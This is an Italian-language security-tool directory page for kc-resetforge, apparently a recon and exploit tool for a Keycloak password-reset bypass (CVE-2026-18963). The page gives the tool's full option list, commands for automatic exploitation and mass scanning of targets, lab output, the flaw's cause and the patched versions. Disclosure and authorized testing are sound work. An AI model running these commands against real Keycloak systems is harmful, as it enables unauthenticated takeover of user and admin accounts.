Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/alt3kx/cve-2026-18963
RicognizioneAnalisi delle VulnerabilitàExploitRaccolta InformazioniSicurezza WebPenetration TestingAutenticazione
GitHubalt3kx/cve-2026-18963

CVE-2026-18963

Strumento di rilevamento e verifica per CVE-2026-18963, un bypass dello stato reset-credentials in Keycloak. Esegue il fingerprinting della versione, l'enumerazione di realm/client/utenti e verifica se la precondizione del token di azione è applicata, per valutazioni autorizzate.

Vedi Repository
13h 18m faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Sito web
Condividi

Rilevatore di Bypass dello Stato Reset-Credentials CVE-2026-18963 per Keycloak

https://github.com/user-attachments/assets/005fab89-339a-4e4e-881c-da6a626f6c9e

root@kitploit:~
python3 kc-resetforge.py -h


usage: kc-resetforge.py [-h] [--target TARGET] [--targets-file TARGETS_FILE] [--port PORT] [--realm REALM]
                        [--client-id CLIENT_ID] [--username USERNAME] [--new-password NEW_PASSWORD] [--skip-enum]
                        [--enum-only] [--kc-version] [--kc-reset-link] [--corpus-dir CORPUS_DIR] [--label LABEL]
                        [--enum-realms] [--no-enum-realms] [--enum-clients] [--no-enum-clients] [--enum-users]
                        [--no-enum-users] [--realm-wordlist REALM_WORDLIST] [--client-wordlist CLIENT_WORDLIST]
                        [--user-wordlist USER_WORDLIST] [--enum-users-client-id ENUM_USERS_CLIENT_ID]
                        [--verify-login] [--no-verify-login] [--verify-client-id VERIFY_CLIENT_ID]
                        [--timeout TIMEOUT] [--request-delay REQUEST_DELAY] [--output-dir OUTPUT_DIR]
                        [--proxy PROXY] [-d] [-y] [--json-out JSON_OUT]

CVE-2026-18963 Keycloak framework di recon + exploit (solo infrastruttura propria)

options:
  -h, --help            mostra questo messaggio di aiuto ed esce
  --target TARGET       Singolo target: host/IP nudo, host:porta, o un URL completo http(s)://host[:porta]. Schema e
                        porta vengono rilevati automaticamente se omessi (prova https poi http; default 443/80 rispettivamente).
                        Mutuamente esclusivo con --targets-file.
  --targets-file TARGETS_FILE
                        Percorso di un file con un target per riga, stessi formati flessibili di --target (commenti '#'
                        consentiti). Esegue recon+exploit contro ogni target a turno.
  --port PORT           Sovrascrive la porta per --target (o un fallback per le righe di --targets-file senza porta propria).
                        Le porte per-riga in --targets-file hanno sempre precedenza.
  --realm REALM         Realm da colpire. Se omesso, selezionato automaticamente dai risultati del recon.
  --client-id CLIENT_ID
                        client_id OIDC da usare. Se omesso, selezionato automaticamente dai risultati del recon.
  --username USERNAME   Username da colpire. Se omesso, selezionato automaticamente dai risultati del recon.
  --new-password NEW_PASSWORD
                        Password da impostare per l'utente target (default: 'Test123!')
  --skip-enum           Salta completamente il recon; --realm/--client-id/--username diventano obbligatori.
  --enum-only           Esegue il recon e stampa i risultati, ma non tenta lo sfruttamento.
  --kc-version          Esegue solo la fase di recon della versione di Keycloak (fingerprint + corrispondenza corpus + stato patch) ed
                        esce - salta completamente l'enumerazione di realm/client/utente e lo sfruttamento. Funziona sia con
                        --target che con --targets-file.
  --kc-reset-link       Controlla solo se il flusso self-service di reset password ('Password dimenticata?' /
                        resetPasswordAllowed) è esposto, poi esce - una singola GET non distruttiva, nessun username
                        necessario. Scopre automaticamente realm/client tramite un leggero recon di realm+client a meno che --realm/--client-
                        id non siano forniti esplicitamente. Salta lo sfruttamento. Funziona sia con --target che con --targets-file.
  --corpus-dir CORPUS_DIR
                        Directory delle impronte di versioni note per la corrispondenza esatta della versione (default:
                        kc_version_corpus).
  --label LABEL         Salva l'impronta di QUESTO target nel corpus sotto questa etichetta di versione invece di confrontare
                        una versione sconosciuta. Da usare su un'istanza di versione nota.
  --enum-realms         Enumera i nomi dei realm (default: attivo durante il recon).
  --no-enum-realms
  --enum-clients        Enumera gli ID client per realm (default: attivo durante il recon).
  --no-enum-clients
  --enum-users          Enumera gli username per realm (default: attivo durante il recon).
  --no-enum-users
  --realm-wordlist REALM_WORDLIST
  --client-wordlist CLIENT_WORDLIST
  --user-wordlist USER_WORDLIST
  --enum-users-client-id ENUM_USERS_CLIENT_ID
                        Client usato per il probe direct-grant di enumerazione username (default: admin-cli).
  --verify-login        Dopo un cambio password, conferma le nuove credenziali tramite una richiesta di token password-grant
                        (default: attivo).
  --no-verify-login
  --verify-client-id VERIFY_CLIENT_ID
                        Client usato per la verifica del password grant.
  --timeout TIMEOUT
  --request-delay REQUEST_DELAY
                        Secondi di attesa prima di ogni richiesta nella catena di exploit (default: 0.4). Lo stato del
                        flusso di login di Keycloak può essere sensibile ai tempi attraverso i passaggi di reset/riavvio/riproduzione del selettore;
                        un piccolo ritardo rende la catena più affidabile. 0 per disabilitare.
  --output-dir OUTPUT_DIR
  --proxy PROXY         Instrada attraverso un proxy HTTP(S): 'burp' (scorciatoia per 127.0.0.1:8080), un host:porta nudo, o un
                        URL completo http(s)://.
  -d, --debug           Logging di debug verboso di richieste/risposte/probe di enumerazione
  -y, --yes             Salta il prompt 'Continuare con questo target?'. Richiesto per l'uso non interattivo (script,
                        --targets-file con più target, CI).
  --json-out JSON_OUT   Scrive un report JSON dei risultati di recon + exploit in questo percorso.

kc-resetforge — CVE-2026-18963 Keycloak strumento di recon + exploit (solo infrastruttura propria)

Usage
-----
Completamente automatico (recon -> selezione automatica target -> exploit -> verifica):
    python3 kc-resetforge.py --target https://localhost:9990 --proxy burp -d

Solo recon:
    python3 kc-resetforge.py --target https://localhost:9990 --enum-only -d

Solo controllo versione + stato patch, su molti host:
    python3 kc-resetforge.py --targets-file targets.txt --kc-version

Salta il recon, colpisci direttamente:
    python3 kc-resetforge.py --target https://localhost:9990 --realm master \
        --client-id account --username admin --skip-enum

Richiede: requests, beautifulsoup4, e opzionalmente rich (pip install --break-system-packages)

Riepilogo della Vulnerabilità

Dettagli Tecnici

  • Causa principale: validazione impropria dello stato nel flusso reset-credentials. Il server tiene traccia del passaggio in cui si trova una sessione ma non riverifica in modo indipendente che il passaggio del token di azione inviato via email sia stato effettivamente completato prima di consentire al flusso di avanzare all'aggiornamento della password.
  • Prerequisiti: nessuno — non autenticato, nessuna interazione con l'utente, nessun accesso precedente richiesto.
  • Ambito: qualsiasi realm con "Password dimenticata" abilitato, precedente alla 26.7.2.
  • Correzione:
    • Keycloak upstream 26.7.2
    • RHBK 26.4 → bundle operator 26.4.15-1 / immagini 26.4-23
    • RHBK 26.6 → bundle operator 26.6.6-1 / immagini 26.6-12
    • Mitigazione temporanea: disabilitare "Password dimenticata" per realm (Realm Settings → Login → Password dimenticata)

Informazioni su Questo Strumento

kc-resetforge è uno strumento di rilevamento/verifica. Conferma se il flusso reset-credentials di un target applica correttamente la precondizione del token di azione (corretto) o meno (vulnerabile), per l'uso in valutazioni autorizzate. L'analisi collegata di seguito copre il meccanismo e la metodologia di riproduzione alla profondità appropriata per la divulgazione pubblica.

Analisi completa: Forging kc-resetforge: Turning CVE-2026-18963 Into a Repeatable Check

Identificazione della versione

kc-resetforge.py non può chiedere a Keycloak "che versione sei?", non esiste un endpoint pre-autenticazione che risponda a questo. Invece rileva l'impronta di un target (campi di risposta, hash di asset statici, favicon) e la confronta con un corpus di impronte che hai già etichettato con una versione nota. Nessuna voce del corpus per quell'impronta = nessuna versione esatta, per progettazione, non un bug.

Costruisci il corpus una volta per ogni versione a cui hai accesso:

root@kitploit:~
python3 kc-resetforge.py --target https://known-26.6.2-host --kc-version --label 26.6.2
python3 kc-resetforge.py --target https://known-26.7.2-host --kc-version --label 26.7.2
[snip]

Il mio laboratorio:
python3 kc-resetforge.py --target https://localhost:9990 --kc-version --label 26.6.2
python3 kc-resetforge.py --target https://localhost:9991 --kc-version --label 26.6.3
python3 kc-resetforge.py --target https://localhost:9992 --kc-version --label 26.6.4
python3 kc-resetforge.py --target https://localhost:9993 --kc-version --label 26.7.0
python3 kc-resetforge.py --target https://localhost:9994 --kc-version --label 26.7.1
python3 kc-resetforge.py --target https://localhost:9995 --kc-version --label 26.7.2

Recon:
python3 kc-resetforge.py --targets-file targets.txt --kc-version --kc-reset-link --proxy 127.0.0.1:8080
[snip]

[*] Proxying through: http://127.0.0.1:8080
[+] Run Summary
Targets scanned

┏━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━┳━━━━━━━━━━━━┳━━━━━━━━┓
┃Target                 ┃ Keycloak Version ┃ Patch      ┃ Reset Link ┃ Result ┃
┡━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━╇━━━━━━━━━━━━╇━━━━━━━━┩
│https://localhost:9990 │ 26.6.2           │ VULNERABLE │ ENABLED    │ checked│
│https://localhost:9991 │ 26.6.3           │ VULNERABLE │ ENABLED    │ checked│
│https://localhost:9992 │ 26.6.4           │ VULNERABLE │ ENABLED    │ checked│
│https://localhost:9993 │ 26.7.0           │ VULNERABLE │ ENABLED    │ checked│
│https://localhost:9994 │ 26.7.1           │ VULNERABLE │ ENABLED    │ checked│
│https://localhost:9995 │ 26.7.2           │ PATCHED    │ ENABLED    │ checked│
└───────────────────────┴──────────────────┴────────────┴────────────┴────────┘

Le voci vengono salvate accanto allo script, in kc_version_corpus/, quindi persistono indipendentemente dalla directory da cui esegui lo strumento, non eliminare quella cartella.

Controlla cosa c'è nel corpus:

root@kitploit:~
ls kc_version_corpus/

Una volta etichettato, ogni scansione futura corrisponderà automaticamente:

root@kitploit:~
python3 kc-resetforge.py --target https://target --kc-version
python3 kc-resetforge.py --targets-file targets.txt --kc-version

Crediti

Scoperta della Vulnerabilità

  • James Paremain (accreditato nell'avviso di Red Hat)

Strumento

  • Alex Hernandez aka (@_alt3kx_)

Riferimenti

  • https://access.redhat.com/security/cve/CVE-2026-18963
  • https://www.keycloak.org/2026/08/keycloak-2672-released
  • https://thehackernews.com/2026/08/critical-keycloak-password-reset-flaw.html
  • https://github.com/keycloak/keycloak/issues/51833

Disclaimer

Questo progetto è fornito strettamente per:

  • Valutazioni di sicurezza autorizzate
  • Test difensivi
  • Ricerca educativa

Non eseguire questo strumento contro qualsiasi sistema che non possiedi o per il quale non hai esplicita autorizzazione scritta al test. L'uso non autorizzato contro infrastrutture di terze parti è illegale e al di fuori dello scopo previsto di questo progetto. Il manutentore non si assume alcuna responsabilità per l'uso improprio.

Scarica lo strumento
CampoValore
CVECVE-2026-18963
GravitàCritica
CVSS9.1
CWECWE-640 (Meccanismo Debole di Recupero Password)
ComponenteKeycloak — flusso di autenticazione reset-credentials
ImpattoAccount takeover non autenticato, a interazione zero (inclusi account admin)
Versione CorrettaKeycloak 26.7.2 (upstream) / RHBK 26.4.15-1, 26.6.6-1